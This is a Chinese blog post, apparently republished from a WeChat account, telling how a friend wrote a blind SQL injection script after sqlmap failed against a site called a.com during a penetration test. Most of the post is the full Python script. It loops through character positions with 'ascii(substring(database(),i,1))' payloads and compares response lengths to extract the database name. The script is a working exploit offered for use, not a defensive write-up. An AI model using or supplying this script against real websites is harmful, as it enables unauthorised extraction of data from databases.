好久没与隔壁老王聊天了,那也是,他现在已经是月入十万的人了,我都不好意思住在他隔壁,天天挖洞,真想起当初在学校机房那会一天一个洞不管大小,一个月下来就好几千了,然而并没什么用!今天的话题与这个搭不上边。
那天我在搞渗透测试,遇到了一个奇怪的a.com站点,手工用and 1=1这种去测试发现应该是SQL注入的,但是直接在sqlmap上注入又不行。
然后我找了隔壁老王,我说这个注入怎么这么神奇啊,他教了我在sqlmap上加个“*”(不含引号),结果还是不行,然后我把注入发给他,没想到他那边的sqlmap就能跑出来,我的就不行,心碎的一地。
我说这样吧,你晚上帮我整个注入的脚本,让它猜测。
等呀等呀等,等到了晚上半夜,脚本终于写好了。然后我肯定是先读一遍源码学习一下啊。
首先呢,它是把payload跟headers写在前面了
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36'
}
之后是利用了ascii函数进行猜解, and ascii(substring(database(),%s,1))=%s,然后%1匹配payload让它猜测。最后就把结果打印出来。
下面将是整个脚本:
#coding=utf-8
import requests
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
users=''
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36'
}
for i in range(1,8):
for payload in payloads:
try:
url = "http://a.com and ascii(substring(database(),%s,1))=%s" % (i,ord(payload))
result = requests.get(url,headers=headers).text
print u"*",
if len(result) > 4000:
users += payload
print u'n∩▂∩:', users
break
except:
pass
print 'n[Done] User is:', users
本文始发于微信公众号(逢人斗智斗勇):SQL盲注之隔壁老王的事(附脚本)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论